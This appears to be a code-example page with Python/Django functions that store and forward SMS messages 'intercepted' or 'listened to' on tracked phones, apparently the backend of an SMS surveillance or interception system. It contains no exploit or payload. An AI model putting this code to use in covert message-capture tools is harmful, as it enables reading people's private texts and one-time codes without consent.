Пример #1
0
def intercepted_sms_in(rec, data):
    """
    Records incoming tapped SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    logger.debug("Received incoming intercepted SMS for phone {0}".format(rec))
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT:
        logger.warn("The phone {0} is not intercepting")
    rec_owner = rec.owner
    if rec_owner:
        rec_owner.save()
    sms_from = data.get('from')
    sms_text = data.get('text')
    check_sender(rec.uniq_id, sms_from)
    sms_owner = rec_owner if isinstance(rec_owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner,
                                          intercepted=True)
    if rec_owner:
        msg = {
            'info': "Intercepted SMS from {0}".format(sms_from),
            'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id},
        }
        sys_messages.add_message(rec.uniq_id, msg)
def listened_sms_in(rec, data):
    """
    Records incoming intercepted SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN:
        logger.warn(u"The phone {0} is not listening".format(rec))
    sms_from = data.get('from')
    sms_text = data.get('text')
    check_sender(rec.uniq_id, sms_from)
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(source=sms_from,
                                          contents=sms_text,
                                          phone=rec,
                                          owner=sms_owner)
    msg = {
        'info': "Got SMS from {0}".format(sms_from),
        'sms': {
            'from': sms_from,
            'to': 'n/a',
            'text': sms_text,
            'id': obj.id
        }
    }
    sys_messages.add_message(rec.uniq_id, msg)
Пример #3
0
def listened_sms_in(rec, data):
    """
    Records incoming intercepted SMS
    @param rec: Phone data record
    @type rec: models.PhoneData
    @param data: Phone data
    @type data: dict
    @rtype: None
    """
    if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_LISTEN:
        logger.warn("The phone {0} is not listening".format(rec))
    sms_from = data.get('from')
    sms_text = data.get('text')
    check_sender(rec.uniq_id, sms_from)
    sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
    obj = models.SMSRecord.objects.create(source=sms_from, contents=sms_text, phone=rec, owner=sms_owner)
    msg = {
        'info': "Got SMS from {0}".format(sms_from),
        'sms': {'from': sms_from, 'to': 'n/a', 'text': sms_text, 'id': obj.id}
    }
    sys_messages.add_message(rec.uniq_id, msg)